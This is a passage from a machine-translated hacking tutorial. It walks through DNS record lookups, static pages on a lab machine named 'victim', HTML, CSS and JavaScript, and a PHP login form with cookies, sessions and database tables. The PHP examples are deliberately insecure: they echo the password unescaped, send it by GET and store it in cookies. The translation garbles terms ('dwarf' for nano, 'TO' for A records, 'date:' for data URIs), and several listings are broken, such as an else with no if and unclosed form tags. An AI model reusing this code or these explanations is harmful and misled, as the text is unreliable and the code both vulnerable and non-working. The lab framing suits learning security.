is much easier for a human to remember the name of a site rather than than a series of
numbers.
This process can take place in the local cache - usually of a computer or a router / modem - or
in the so-called "zone file" of a server, a file that contains the DNS information represented by
the Resource Records (RR); we'll talk about these shortly, first let's try to understand how a
DNS works.
Let's imagine opening the hacklog.it site: the Operating System checks if this has already been
loaded previously, so it will first check its presence in the local cache.
All the IP addresses with their respective hosts are written inside the cache: this allows to
avoid that the Operating System interrogates the Internet every time it has to surf the net; if this
is not present then it will contact a DNS Server, a server often provided by the ISP 27 or external
(see Google, OpenDNS etc ...).
3.2.3.1 BASIC RESOLUTION OF A DNS

The whole process is obviously "transparent" to the user's eyes but it is possible to strip a DNS
request through one of the many tools already pre-installed in the GNU / Linux distributions. To
do some tests we will have
need dnsutils, a package that contains some tools to test the network. If not already present
from attacker we launch:
$ apt install dnsutils
Let's see an easy example; launch the nslookup command from Terminal, then compile each
line, to close the program CTRL + C:
$ nslookup
> set type = A
> hacklog.net
Server: 192.168.0.1
Address: 192.168.0.1 # 53
Non-authoritative answer:
Name: hacklog.net
Address: 104.27.162.41
Name: hacklog.net
Address: 104.27.163.41
Let's try to understand what these commands consist of and the result obtained:
1) In the first line we specified "set type = A". This means we are requesting all records 28 type
A; we will explain shortly what it is
2) In the second line we specify the domain / host
3) The third and fourth lines represent the IP addresses of the requested DNS server. You will
notice how the fourth line shows # 53: this represents the port number used for the request
we made. By default, DNS servers respond on UDP port 53.
4) At the bottom the non-authoritative answers are shown: this means that our DNS server is
using another DNS server from which it draws to resolve the request.
3.2.3.2 TYPES OF RECORDS
A Zone file is represented by a simple text file: within it are enclosed Resource Records, lines
that establish how each single record resolves the IP address.
To understand what a Record consists of, let's take the following table as an example:
First name Typology Value
hacklog.net TO 104.27.163.41
mail TO 104.27.163.41
www CNAME alias of hacklog.net
hacklog.net MX handled by hacklog.net
The example demonstrates how a very simple zone file is structured with 3 Resource Records
inside. We can therefore verify its operation using a new type, for example MX (mail record,
Mail eXchange):
$ nslookup
> set type = MX
> hacklog.net
with the following result:

Server: 192.168.0.1
Address: 192.168.0.1 # 53
Non-authoritative answer:
hacklog.net mail exchanger = 5 ***.
The result obtained will no longer refer to the resolution of the domain as if it were a web page
but rather to the "mail manager".
In some cases it is the TXT records that can offer a lot of information; for example by running:
$ nslookup
> set type = TXT
> hacklog.net
you may know that the hacklog.net domain also makes use of an external mail service to send
emails (it may be useful in the OSINT phase, chapter 4.6):
hacklog.net text = "v = spf1 includes: spf.mailjet.com
includes: mx.ovh.com ~ all "
hacklog.net text = "1 | www.hacklog.net"
There are different types of Records, we mention the five most popular:
Record A: maps an IP address to a hostname (ex: 104.27.163.41 to hacklog.net)
RecordMX: redirects emails to the server hosting their accounts
NS Record: defines the servers that will communicate DNS information related to a domain
CNAME Record: defines aliases to the real domain name (ex: www.hacklog.net will report
to hacklog.net)
TXT Record: provides text information and can be useful for various purposes (e.g.
confirming that you own a site)
3.3 Hello, World!

Let's go back to our Apache2 home page. Where is it contained? Where does it change? How are
other pages created?
Before answering these questions let's try to cast from the car
victim the following command:
$ nano /var/www/html/index.html
As you probably remember we use dwarf as a text editor to create and edit files directly from
Terminal. Then follows the file path: in this case Apache2 recovers all the files present in the /
var / www / html folder. Here you can load all the pages you want and summon them directly
from the Browser.
It is not certain that the cyber-criminal is on the attacked system

always pre-installed nano, nor the permissions to install it. Sometimes the recommended editor
is you or the variant vim, however for the sake of simplicity we will avoid using it.
Returning to the editor, we will be shown a screen containing some HTML code (which we will
return to). This is the stark version of the Apache2 demo page seen above. Let's ignore the
content for now, so let's get out of nano (remember the CTRL + X combinations, if you have
difficulty there is always the cheatsheet in chapter 17). Let's rename the file we just opened:
$ mv /var/www/html/index.html /var/www/html/index.backup.html
This will rename the index.html file to index.backup.html. Of course, with all these paths it can
start to be difficult to work, so we can move directly to the folder:
$ cd / var / www / html
From this moment on it will no longer be necessary to specify the destination path as we are
already present in it. To be sure, however, we run the command:
$ pwd
The system will then respond with:

/ var / www / html
We can now reopen our favorite text editor and create a new index.html file:
$ nano index.html
Let's throw in our test text as follows:

Hello, World!
Save the file with [CTRL + X], [Y] to confirm and [ENTER] to make the changes.
Now open your browser and navigate to the address: http: // victim and you will see the newly
created message appear. If you decide to visit http: //victim/index.html you will notice that the
same page will load, this being the homepage.
What if we wanted to create a new page? Just recreate the process, this one
time by creating a file with a new name.
$ nano hacklog.html
We write whatever, then we save the file and upload to the browser: http:
//localhost/hacklog.html
To make your life easier, imagine that http: // victim is synonymous with / var / www / html, so:
Path URL
/var/www/html/index.html http: //victim/index.html
/var/www/html/hacklog.html http: //victim/hacklog.html
/var/www/html/test.html http: //victim/test.html
and so on.
If you have any doubts about which files are present in the folder you are in, we remind you of
the command that allows you to obtain a list of files and folders present in the path you are in:
$ ls
If you followed the commands to the letter you should then get the following output:
hacklog.html index.backup.html index.html
Getting lost in Terminal navigation is easy. Remember that you can use the cd command to
move between folders.
At first it may seem difficult and at times "strange" to navigate from Terminal: however, if you
want to identify yourself with a cyber-criminal you will have to be able to use the textual shell
rather than the graphical one. You will understand the why of this later!
Advanced Note: As you have probably noticed we have left the permissions to the root user.
This practice is absolutely not recommended for a live production system and therefore it is
recommended to enable the userdir module and to assign permissions and folders as per
standard procedure. More information at the link: https://wiki.debian.org/it/LaMp
3.3.1 HTML, the foundation of the Web

To effectively design the Front-end, the part visible only to the user (often called GUI, Graphic
User Interface), in the early 90's a language called HTML was created.
HTML (HyperText Markup Language) is often mistakenly associated with a programming

language but, as the word itself says, the most correct definition is mark-up language.
As a language, in fact, it has little to do with functions, conditions, variables and so on: its
function is limited to structuring the foundations of a web application.
In short, you see HTML as the architectural project of a web page: it allows you to insert
buttons, tables, containers, links etc… also allowing limited graphic formatting to embellish the
pages.
At present it has reached version 5, so you will find it often also called HTML5: pages created
with only HTML at the base are called
static and are saved in. htm is . html.
The HTML language looks like this [Code 3.1]:

Code 3.1
<html charset = "UTF-8" >

<head>
<! - This is a comment ->
<title> Welcome to hacklog.it! </title>
</head>
<body>
<h1> This is a test page :) </h1> <div> Here is some text </div> </body>
https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter3/1.html
Why don't we try to copy-paste this piece of code into the newborn index.html in the machine victim
? The result will be our first HTML page [Figure 3.4].
Figure 3.4: A simple HTML page we are linked to on the victim machine.
As I said this will not be a programming course, however leaving the user at the mercy of a
dead end seems unprofessional. So let's give a meaning to what little we have written:
- HTML is based on tags: tags open and close with major and minor symbols. By convention
(almost) all tags open and close and can enclose other tags in them.
- HTML can be commented on: everything between <! - and -> is not considered by the
browser but can be read in the source code 29 .
- HTML indents: as you can see there are spaces (assigned with the [TAB] key of the
keyboard). Although not strictly necessary, it is a convention used by programmers to better
read the code and understand its hierarchical structure.
Let's also spend a few words on the three fundamental tags of HTML:
- <html>: Inside this tag, the browser is informed that HTML code is present
- <head>: Within this tag, the browser is communicated about the parameters that are not
shown to the user but which can be used for the correct functioning of a web page
- <body>: Within this tag, the browser is informed that the content should be shown to the user
To create an HTML page, just a text editor ( although there are IDEs and WYSIWYGs to
facilitate development) and does not need a Web Server to work.
Keep in mind that there are hundreds of HTML tags designed for different purposes - a good
starting point to really get to know them all is at https://www.w3schools.com/html/. Continuing
with the text we will however see the use of some fundamental tags for the design of a web
application.
3.3.2 CSS, the "coat of paint"

Where the HTML language lacks "brushes" and "rulers" a new language takes over, also not
programming but oriented towards
document formatting.
If HTML is the backbone, CSS is the coat of paint: it allows you to style the contents, for
example by coloring the containers, choosing the fonts that the page will use, resizing the
tables and so on.
CSS always depends on an HTML page and can be included directly in the HTML code [Code
3.2]:
Code 3.2
<html>
<head>
<meta charset = "UTF-8" >
<style type = "text / css" >
/ * This is a CSS comment * /
body
{ background : yellow; }
h1
{ text-decoration : underline; }
div
{ color : red }
</style>
</head>
<body>
</html>
However, it will be much more likely to find a link to an external style sheet, this to take
advantage of all the browser and web server features to load the connected resources in
parallel and in static form.
So let's try to create a file with the command:

$ nano style.css
which contains [Code 3.3]:

Code 3.3
body {
background : yellow;
}
h1 {
text-decoration : underline;
}
div {
color : red
}
https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter3/3.css
Let's save the file and reopen our index.html:

$ nano index.html
and change it as follows [Code 3.4]:

Code 3.4
<html>
<head>
<link rel = "stylesheet" type = "text / css"
href = "style.css" >
</head>
<body>
</html>
Let's reload the http: // victim page and see the changes take shape. We also make some
considerations on CSS here:
CSS thrives on selectors: as you have seen we used the body, h1 and div tags: these elements
are already present in the HTML and allow you to interface with them
CSS contains properties and values: inside the braces {and} you can specify a property
followed by a value. The translation of the selector body says: the background (background)
is yellow.
CSS can be commented on: everything contained between / * and * / is not considered by the
Browser
CSS indents: as for HTML, conventions are followed to better understand the language.
There are several, each following a line of thought.
3.3.3 Javascript, the all-rounder client
With the evolution of the World Wide Web, developers have asked for more and more features to
make the user interact with their portals: although we have seen very little of the mark-up
languages, one of the limitations that you may have noticed is that they cannot read the actions
of a user.
Let me explain: HTML and CSS only generate output, I am not able to understand (although
much progress has been made in this regard) what a user is doing: is the mouse moving? Is
he shaking the page? Do we want to tell him something new without reloading the page?
That's what a clientscript language is for: welcome to Javascript.
In a web page, Javascript looks like this [Code 3.5]:

Code 3.5
<html>
<head>
<script type = "text / javascript" >
// This is a comment / * This is too! * /
alert ( "Hello, World!" );

</script>
</head>
<body>
</html>
However, as with CSS, we prefer to call it from an external file in. js [ Code 3.6]:
Code 3.6
<html>
<head>
<script type = "text / javascript" src = "script.js" >
</script>
</head>
<body>
</html>
Want to try? So copy-paste the added line into your index.html file (do you remember how to
edit it?), Then let's create a new file again:
$ nano script.js
and add the following code [Code 3.7]:

Code 3.7
alert ( "Hello, World!" );
By loading the page at http: // victim we will get our web page seen above, followed by the
popup that says "Hello, World!". We have therefore evoked the basic alert function that allows
us to show what we want on the screen. Also in this case we make our considerations:
Javascript is a scripting language: unlike the first two it is a

full-fledged language and requires the code to be written correctly (otherwise it might get
crazy!)
Javascript is an interpreted language: can therefore use variables,

objects, arrays, conditions, functions and everything else found in a normal programming
language
Javascript can be commented on: supported comments are on // one line or on / * multiple lines * /
I realize that the explanation can be reductive to many, we will see in due course some
fundamental characteristics of this and other languages.
Remember: when you have to work with strings (alphabetic characters, numbers and so on)
you have to put them in single quotes (') or double quotes ("); if you forget this the script will
fail!
Advanced note: although Javascript was originally designed to operate only on the client side,
it can also be an excellent tool for communicating with the back-end. Just look at the possible
applications with AJAX or for some years with the strong interest of the web community for
Node.js.
Furthermore, many applications make use of libraries and frameworks that greatly enhance
their capabilities: two very popular examples are undoubtedly jQuery and AngularJS.
Warning! Javascript is NOT Java! They are two different languages that do, and work, in a
completely different way.
3.4 Browse the web
So far we have seen how it is possible to load pages, without moving from one page to
another.
This function is the prerogative of HTML and in particular of the <a> tag which, through the href
attribute, can create a link to allow the user to change pages.
We then reopen our index.html file on the machine victim :

$ nano index.html
and add the following line before closing the body [Code 3.8]:
Code 3.8
...
<a href = "hacklog.html" > Go to the Hacklog page </a> </body>
</html>
We reload the http: // victim page from our browser and click on the link. We will be taken back
to the second page we created. Easy right?
Why don't you try inserting a link on the hacklog.html page which takes you back to the
homepage this time? Note that in the href
can indicate also a URL, to example:
http: //victim/index.html
3.4.1 URL
As you probably know, any Web Browser works according to a logic that consists of browsing
through hyperlinks.
These links are called URL (acronym for Uniform Resource Locator), a sequence of characters
that identifies the network path of a specific
resource, that be a page web or a
video / image / audio: The URL you are at is present in the address bar of the Web Browser.
The standards 30 define the URL through the following structure:

protocol: // user: pass @ host : port / path? query # frag
Eg 31 :
http: // stefano: pwd@hacklog.it : 21 / var / www? log = true # debug
Let's try to understand briefly what it is:
protocol - is the first element and identifies the type of protocol in use. Commonly used
protocols include HTTP, HTTPS and FTP.
: // - separates the protocol from the rest of the URL (see next chapter)
user: pass @ ( optional) - allows you to provide access credentials to the web browser.
host - is the domain name or IP address that will be queried for navigation.
port ( optional) - identifies the port associated with the service. If not specified it will be 80 for
HTTP, 443 for HTTPS and 21 for FTP.
path ( optional) - identifies the path to reach within the server. Each additional slash (/)
usually refers to an additional subfolder.
query-string ( optional) - allows you to provide additional information to the server so that it
can process its content. The query-string begins with a question mark (?) And then follows a
variable and its value (variable = value). If there are more elements, they are concatenated
with an ampersand (&).
Example: http://example.com/page.php?animal=dog&name=pucci
frag ( optional) - indicates a position within the resource, usually an anchor link within a web
page.
3.4.2 The Protocol

Before going back to talking about the development of a web application, let's focus on the
protocols, as we won't be able to calmly review them further on.
Let's look for a simple definition: network protocol is that set of

rules which determines how two computer devices must be able to communicate without
errors.
Taking a non-IT example, the Kyoto Protocol is a

international treaty that establishes some regulations on global air pollution among 180
countries, which differ in type of economy, geography of territory, language, religion and many
other nuances. Thanks to the protocol, all states are able to achieve the common goal, despite
cultural, territorial and linguistic differences.
Each protocol has qualities that make it ideal in different situations 32 ,

eg:
- TCP protocol: it is the protocol on which the operation of most networked applications is
based and which allows a reliable exchange of information between one host and another
- UDP protocol: it is a less reliable protocol than TCP but faster; it is often used in situations
where it is necessary to transmit information more quickly (for example streaming or in an
online video game) without verifying its integrity
- HTTP protocol: is the standard protocol for interpreting information within the WorldWide
Web
The most famous browsers are able to manage hundreds of protocols and not necessarily all
are available for all platforms. To facilitate the explanation we can say that there are four types
of protocols.
Browser managed protocols

This type of protocols, as the word itself says, is managed directly by browsers; the latter take
care of showing the information on the screen and offering the interactivity necessary for use.
In this category the most common protocols are HTTP is HTTPS for web browsing, while more
rarely we may find ourselves in front of FTP,
a type of protocol used for file transfer.
Third Party Protocols

In this type we find protocols managed by external programs: for example, to start a Skype call
we could find the protocol
skype: //, while Telegram makes use of tg: //; certainly one of the most popular - which has
become a standard - is mailto: which allows you to interact
with a mail software to send an email (it is interesting to note that the two slashes - // - after the
colon are not present in the latter). A trivial example is the following:
mailto: info@hacklog.net
We conclude the list with the internal protocols of the browsers: these allow you to manage the
internal settings of the entire program through their own interpretation of use, therefore outside
any standard. In Chrome we find then chrome: // and in Firefox firefox: //
Non-encapsulating protocols
At the halfway point of our list we find protocols that allow you to interact with the browser's
internal engine.
Among these we mention javascript: which allows you to generate client-side code of the
scripting language of the same name, e date: which instead makes it possible to create small
documents - even images - without having to make a new request online.
In any browser we could therefore write in the address bar:

javascript: alert (“Hello everyone from Stefano Novelli!”);
To display an alert box through a simple function with the language Javascript. With date instead
we can verify by loading the following code on the address bar 33 [ Figure 3.5]:
date: image / png; base64, iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAYFBMVEUoKCj /// 8 + Pj6FhYXW1tZoaGj6 vp + +
Figure 3.5: The browser can render the Data URI directly from the URL string
without having to load external resources.
You can generate Data URIs starting from static resources (images, videos, etc.)
using any online converter (keywords: "convert image to Data URI").
Encapsulating protocols
The last family of protocols that we are going to illustrate are used in front of external
resources, allowing us to call up particular functions aimed at decoding the resource that is
being requested.
Among these we mention view-source: which allows you to view the source code of a web page. In
the example:
view-source: http: //victim/index.html
3.4.3 HTTP and HTTPS
The HTTP protocol was originally designed as a protocol that is easy to parse and manipulate;
with the arrival of new languages and technologies, its use has been amplified and has
required the introduction of new methods to secure the communication between client and
server.
HTTPS refers to the HTTP protocol (HyperTest Transfer Protocol) combined with a level of
security through SSL / TLS encryption methods: this protocol allows you to avoid attacks in
which an attacker could listen and intercept the communication between client and server and
extrapolate requests and HTTP responses.
More and more websites are adopting this technology: if in the past the obtaining of certificates
to generate SSL / TLS keys was for a fee, today services such as Let's Encrypt 34 or through
Reverse Proxy services (chapter
4.3) allow for secure communication.
3.5 Dynamic navigation

So far we have seen how to ask the Web Server for simple static pages. Now imagine having
to manage a blog or an e-commerce: should we create each HTML page for each article?
What if we were to change one element (e.g. a logo) would we have to change all pages?
We need to create an application capable of managing these and a thousand other things:
unlike HTML or Javascript, it must then be able to interact with the server, allowing for example
to load images, save data - including logins and users' payment details - and other operations
that the browser cannot, and must not be able to, do.
The environment in which the application will operate is defined Back-End: if with HTML, CSS and
Javascript we have worked only and exclusively on the user side (client), this time it will be necessary to
work on the services side (server). So fasten your seat belts, now comes the fun!
3.5.1 PHP
PHP is a programming language conceived for the creation of dynamic web pages: as we have
seen, in fact, HTML allows you to generate static web pages, that is, they cannot be modified
based on the inputs that a user gives them.
Let's proceed in order. First of all let's install PHP7 on victim :

$ apt install php7.0 libapache2-mod-php7.0
Doing so we will bring in our machine both the PHP interpreter and all the libraries and
modules to be able to work with Apache2. It should not be necessary to restart the Web
Server, if there are any problems I invite you to check its status (Chapter 3.2). As we are used
to now, we reopen nano and create a new file to verify the PHP operation:
$ nano test.php
and fill it in as follows [Code 3.9]:

Code 3.9
<? php
// This is a comment!
echo ( "Hello, World!" );
?>
This, ladies and gentlemen, is PHP code! Let's analyze it as we did with the others:
PHP code opens and closes with the <? php tags (often you will also find only <? and?>
The PHP code is commented like CSS, using // for a single line or / * and * / for multiple lines
The PHP code, exactly like Javascript, closes each line with the ;
PHP pages usually have the extension. php
Loading the URL http: //victim/test.php we will notice how, in reality, we will see on the printed
screen only "Hello, World!"; unlike a mark-up language, and as for Javascript, we made use of
a function - in this case echo () - that allows you to print a message specified by us on the
screen, while everything else is processed by a interpreter.
Like Javascript, PHP also wants strings in quotes (') and quotes ("). NEVER forget this
concept!
Advanced note: As you can see between the two brackets we have used double quotes. These
symbols mean that we are enclosing a string inside it: without them the program will go into
error. However, if you feel the need to use double quotes you can use the backslash (\) in front
of it, for example: echo ("I want to use \" Quotation marks \ "");
The probability of making mistakes when writing, especially if it is your first time, is very high!
Just a comma less or an unseen space and the page will be completely blank. For this I advise
you to enable in
victim the PHP internal debugger by editing the php.ini file:
$ nano /etc/php/7.0/apache2/php.ini
With [CTRL + W] you can search for a term (you will need to find display_errors) and change
its value from "Off" to "On" [Figure 3.6]. Once done, restart the web server:
Figure 3.6: Don't go crazy looking for errors, have the web server tell you what not
it goes!
Advanced note: I didn't want to confuse you further but it is necessary to anticipate the
following: PHP at the beginning was a language with a procedural paradigm (the one we will
use in this text) but with
version 5 has also integrated object-oriented programming (OOP). Object-oriented
programming is the best way if you want to design complex applications; moreover, many
programmers make use of frameworks, logical support structures that greatly facilitate
development work, anticipating the needs that the programmer will have.
3.5.2 PHP and HTML, a marriage that needs to be done

On the one hand we have PHP, on the other hand HTML; two languages can coexist in a harmonious
way since they have different purposes and principles.
The PHP can generate HTML code - and not vice versa - so you will often find yourself
working with only .php files. Let's go back to the test.php file and try it ourselves [Code 3.10]:
Code 3.10
<? php
echo ( "
<html>
<head>
<title> Hello everyone! </title>
</head>
<body>
This is HTML
</body>
</html>
" );
?>
https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter3/7.php
The result that will be presented to us will be the same as a normal HTML page.
As we have anticipated, a back-end language (such as PHP) can also interact with the files
present in the Web Server. Therefore, we could decide to include an external file in our
mini-program, adding the following code at the end of the echo [Code 3.11]:
Code 3.11
</html>
");
includes ("hacklog.html");
?>
If everything is done to the letter you will find a web page containing external code.
This logic underlies the dynamic pages: if you had 100 pages, all including a single external
page (like a menu), and you wanted to change the output, you only need to change it from the
included page!
3.5.3 A login page? Of course!

HTML and PHP are a deadly match when it comes to exchanging information between them.
How you do it?
Let's start by creating a new file:

$ nano login.php
In this example we will simulate a login page, making sure that it is able to self-send
information and creating a "thinking" application; the page will then be http: //victim/login.php
We fill in the page as follows [Code 3.12]:

Code 3.12
<html>
<body>
<form name = "login" method = "GET"
action = "login.php" >
<input type = "text" name = "password" /> <input type = "submit" value =
"Login" /> </form>
</body>
</html>
https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter3/7.1.html
We briefly explain the various tags present:

<form>, this tag is used to tell HTML that "everything in here can be sent". Note the
presence of the attribute
action, which allows you to specify which page to send the data to (in this case the same page
we are on). Instead we will talk about the method later.
<input>, we used two: these tags allow the user to interact in a more marked way. In type we
used text (to indicate that the user can enter text) and submit (to show a button that submits
the content of the form)
Um ... it's not very safe to leave the password in the clear, isn't it? Let's make a small change
to the input text, replacing the type in password [Code Listing 3.13]:
Code 3.13
<input type = "password" name = "password" />
Be careful not to confuse the type and the name! The first identifies the type of input (which are
standard HTML) while with name you uniquely identify the text field.
3.5.3.1 DATA TRANSFER

The logic of this page translates into: sends everything inside the form to the login.php page
(which is itself). How do we recover the data? With PHP of course 35 [ Code 3.14]:
Code 3.14
<html>
<body>
<? php
if ( isset ($ _GET [ 'password' ]))
{
$ password = $ _GET [ 'password' ];
echo ( "Your pass is:" . $ password);
}
?>
<form name = "login" method = "get"
<input type = "text" name = "password" /> <input type = "submit" value =
"Login" /> </form>
</body>
</html>
The little code we wrote will say:
1) Verification self exists in the query-string (we'll see what it is shortly) the
"password" parameter; if so, create one variable ( called $ password) and save in it the value
you retrieve from the GET (I'll tell you what it's about in a moment). Note that variables in PHP
are created by putting the dollar symbol ($) in front of the name of the variable you want to
create.
2) Print on screen the string "Your pass is:" followed by the variable
$ password. Note the use of the period (.) Which "concatenates" two different types of values
(a string and a variable). This is critical, otherwise you would get an error.
Before continuing I would like to point out a curious thing: in the code we have written there are
at least a couple of vulnerabilities capable of compromising the security of the application! Hold
the boil, we'll talk about it in due course :)
3.5.3.2 IF, ELSEIF AND ELSE DECLARATIONS

In the universe of programming it is essential to know if the conditions exist to be able to do
something or not. The structure of a declaration is based on this simple principle:
Logic Programming
If this condition is true If this other IF
condition is true ELSEIF
If none of the above conditions come ELSE

satisfied
Let's try to make some easy examples to understand what we mean. A basic declaration is
given by the IF condition like the following:
IF <CONDITION>
{
DO SOMETHING
So IF there are the conditions that the program expects then DO SOMETHING: this "DO
SOMETHING" is always indicated inside the {curly brackets}. A very simple declaration can be
[Code 3.15]:
Code 3.15
<? php
if ( $ number == 1 ) {
echo ( "The number you have chosen is 1" );
}
However, we can also mean to do something else IF a condition is not met. This is done with
the ELSE condition, then we will say:
IF <CONDITION>
DO SOMETHING
OTHERWISE
DO SOMETHING ELSE
Which in PHP programming will result [Code 3.16]:

Code 3.16
<? php
if ( $ number == 1 ) {echo ( "The number you have chosen is 1" );
}
else {
echo ( "The number you have chosen is not 1" );
}
In this way we can make new decisions if the specified condition is not true. What if we wanted
to check if another condition is
true? We will use the ELSEIF condition:
IF <CONDITION>
DO SOMETHING
OR <CONDITION>
DO SOMETHING ELSE
}
OTHERWISE
DO SOMETHING ELSE AGAIN
Which translated into PHP language will instead be [Code 3.17]:

Code 3.17
<? php
if ( $ number == 1 ) {echo ( "The number you have chosen is 1" );
}
elseif ( $ number == 2 ) {echo ( "The number you have chosen is 2" );
}
else {
echo ( "The number you have chosen is neither 1 nor 2" ); }
It is very important to know how to use conditions: without them we would not know how the
program thinks and decides to perform certain actions rather than others.
Given these concepts, let's improve our code as follows [Code 3.18]:
Code 3.18
<html>
<body>
<? php
if ( isset ($ _GET [ 'password' ]))
{
$ password = $ _GET [ 'password' ];
}
else
{
echo ( "You have not specified any pass" ); }
?>
<form name = "login" method = "get"
<input type = "password" name = "password" /> <input type = "submit" value
= "Login" /> </form>
</body>
</html>
Advanced Note: If you are a PHP programmer you will probably turn your nose up at the little
"care" with which we checked the input. We will explore the topics in later chapters.
3.5.3.3 GET AND POST METHODS
As you will recall (Chapter 3.4.1) we mentioned query-strings with URLs. This feature allows
you to pass information in clear text from one page to another: it is enough to see the result
once the input has been filled in:
http: //localhost/login.php? password = h4ckl0g
This, as you will have understood, is not really good when it is necessary to pass information of
a certain confidentiality. Passing the values of a form through the query-string occurs due to
the method = "get" seen in the previous chapter; also, if no method is specified in the form, the
default HTML will use the GET.
To prevent this from happening we can replace the value of the method attribute with POST; in
this way we will send the data without the URL showing the content [Code 3.19]:
Code 3.19
<html>
<body>
<? php
if ( isset ($ _POST [ 'password' ]))
{
$ password = $ _POST [ 'password' ];
} else {
echo ( "You have not specified any pass" ); }
?>
<form name = "login" method = "post"
<input type = "password" name = "password" /> <input type = "submit" value
= "Login" /> </form>
</body>
</html>
3.5.3.4 COOKIES
First of all, it is necessary to specify that the HTTP protocol is stateless, that is, after each
request to a web page, the server "forgets" the identity of a user. One of the solutions that
applications use to store a user's identity is through i Cookies, small files that reside on the
client computer and that can be read by the web server.
Let's explain it with some code, adding after the variable declaration [Code 3.20]:
Code 3.20
<? php
...
setcookie ( "cookie_name" , $ password );
echo ( "Your pass is:" . $ _COOKIE [ 'cookie_name' ]); ....
Unfortunately, as you can see by filling out the form, you will need to reload the page again
before viewing the password in clear text: this happens because the PHP language considers
the initial state of the browser and not the changes that occur. More simply, when we load the
page again, the browser does not yet have the cookie: this is created during the script (with the
function setcookie) while $ _ COOKIE [] expects a cookie even before the application starts!
There are several solutions to solve the problem, however for the purpose of our learning it is
not necessary to further explore the subject (nothing that a good book on PHP programming or
a guide on the net cannot solve).
3.5.3.5 SESSIONS
Similarly to cookies, the sessions they come in support of the programmer who wants to memorize
information of various kinds, saving them this time in the server instead of in the client.
Unlike the cookie, however, the session dies when the tab del is closed
browser, while it can remain saved in the browser indefinitely. However, the operation is
similar, although the functions change [Code 3.21]:
Code 3.21
<? php
...
session_start ();
$ _SESSION [ 'session_name' ] = $ password ;
echo ( "Your pass is:" . $ _SESSION [ 'session_name' ]);
...
In this case, PHP is instructed to collect sessions ( session_start), to save the password within
the session ($ _ SESSION []) and finally to print it.
As you can see, the session programming "defect" does not appear as in the cookie: this is due
to the fact that the server already anticipates the sessions before even assigning them, for this
reason you will immediately see the password in clear text.
Both setcookie and session_start are functions that must be called before any screen printing
of anything, otherwise the code just won't work! Keep this in mind if you want to "fiddle" with
your web pages :)
3.5.3.6 OUR FIRST WEB APPLICATION
Hurray! We have just created our web application! If you have any problems with the code
(something not working) I leave you here the entire written code up to now [Code 3.22]:
Code 3.22
<html>
<body>
<? php
{
session_start ();
$ _SESSION [ 'session_name' ] =
$ password;
echo ( "Your pass is:" .
$ _SESSION [ 'session_name' ]);
}
else
{
echo ( "You didn't specify any
pass " );
}
?>
<form name = "login" method = "post"
<input type = "password" name = "password" /> </form>
<input type = "submit" value = "Login" /> </body>
</html>
With a few lines we were able to design a small web application in

able to read a user input (the password), print it on the screen and save the credentials both on a
browser and on the server.
This is, in a nutshell, programming in PHP. Not bad, isn't it? :)
3.6 Database
The last element that makes up a web application is the Database: building any application will
sooner or later require the need to save data and then retrieve it later and at any time.
With a Database you can keep different types of information, for example the login data of a
user, the content of the pages of a site and much more: for a cyber-criminal having access to
this container would mean obtaining the Holy Grail!
The database is then managed by a DBMS that deals with memorize, manipulate and connect of
data: if in the past simple text files were sufficient, over time the complexity and growth of
these containers required the need to develop environments specifically designed for the
purpose.
Over the years, the various software houses have designed their DBMS to meet the needs of
the developer market: there are proprietary or paid DBMSs (such as Oracle Database and
Microsoft SQL Server) or free and proprietary ones such as MySQL, PostgreSQL, Percona,
SQLite and so on. talking.
In our case we will make use of MariaDB, a DBMS born from the ashes of MySQL and considered
today as the spiritual successor of the latter. To install it, with all the necessary dependencies, we
launch:
$ apt install mariadb-client mariadb-server php7.0-mysql
We will be asked if we want to reconfigure the Web Server: select Apache with [SPACE], move
to OK [TAB] and confirm [ENTER]. As for Apache we can verify the functioning of the service
by launching:
$ service mysql status
Receiving the usual message:

mariadb.service - MariaDB database server
Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; vendor preset:
Active: active (running) since Wed 2018-02-28 16:23:44 CET; 3min 9s ago
Main PID: 7118 (mysqld)
Status: "Taking your SQL requests now ..."
...
If on the third line the status Active: active (running) [Figure 3.7] it means that the process is
correctly started. If not, you can restart it by running the command:
$ service mysql restart
replacing the last parameter with start is stop for the same actions.
Figure 3.7: the mariadb service is up and running
3.6.1 Tables, Rows and Columns

The structure on which a database is based is fundamentally centered on the concepts of tables,
rows and columns.
You must know that each database inside it contains one or more Tables: their nature is
usually to "categorize" the content of the information. If we take for example a Forum within the
database we will find several tables: one for users, one for posts, one for sections and so on.
Like normal graphic tables (that's right, the ones you make with Excel, with a text editor or as
they taught you at school with pen and paper) they are made of rows (record or row) and of columns
(column). Let's take the following scheme as an example:
Table: users
id username password e-mail years
1 admin h4ckl0g% 21 admin@hacklog.it 28
2 murder NvLSfn) 6da_ murdercode@hacklog.it 29
3 Stephen s9lli4 "1ew * @ s.novelli@inforge.net 69
In this example we can say that:
There table it is called users There are 5 columns which represent the values contained
in the lines There are 3 lines which contain the values

3.6.2 The importance of the ID
It should all be clear, except probably the id: this column is usually represented by whole
numbers ( in INT jargon) that yes
self-incrementing each time a new value is created.
Imagine that a user creates a new account in the table just seen: the web application will write
a new row in the table, then add a new id (4) calculated based on the previous one:
Table: users
2 murder NvLSfn) 6da_ murdercode@hacklog.it 29
3 Stephen s9lli4 "1ew * @ s.novelli@inforge.net 69
4 novels nvlSeW @ FJm novelli.s@hacklog.it 96
You will also have noticed that, next to id, there is a key (): in the Databases this icon
represents the primary key, a special field that uniquely identifies a row in the database.
A primary key allows us to know precisely which element we are talking about: if we had to
have homonyms in the respective fields we would not know what specific value it is.
Let's take the example of another table:
Table: post
id title text
1 Hello everyone! He calls me a Murder and I'm 28
2 Health! My name is stefano!
3 Hello everyone! I like climbing :) My name is
4 Health! Stefano!
As you see the posts with IDs 2 and 4 have the similar content: how does the application
to know which of the two to remove, for example when we had to click on the relevant button?
Could not!
3.6.3 Relations between Tables
Let's consider the following situation:
In the examples we just made, there are no ways to tell which user wrote a post; moreover,
even adding a column (eg: author) to the post table would present a problem not least: if we
had to modify or remove the user from the users table his name would remain in that of the
posts!
The most widespread model of DBMS - including that of MariaDB - is called type relational: in
essence we are allowed to connect information to each other through relationships.
This relational schema is called a type one-to-many: that is, it means that only one user ( one) can
write many posts ( lot of) and not vice versa; in fact, the same post (intended with that primary
id, not as content remember!) cannot be written by multiple users.
There are also relationships one by one is many-to-many: why don't you try to think about what
situations could be created with these relationships?
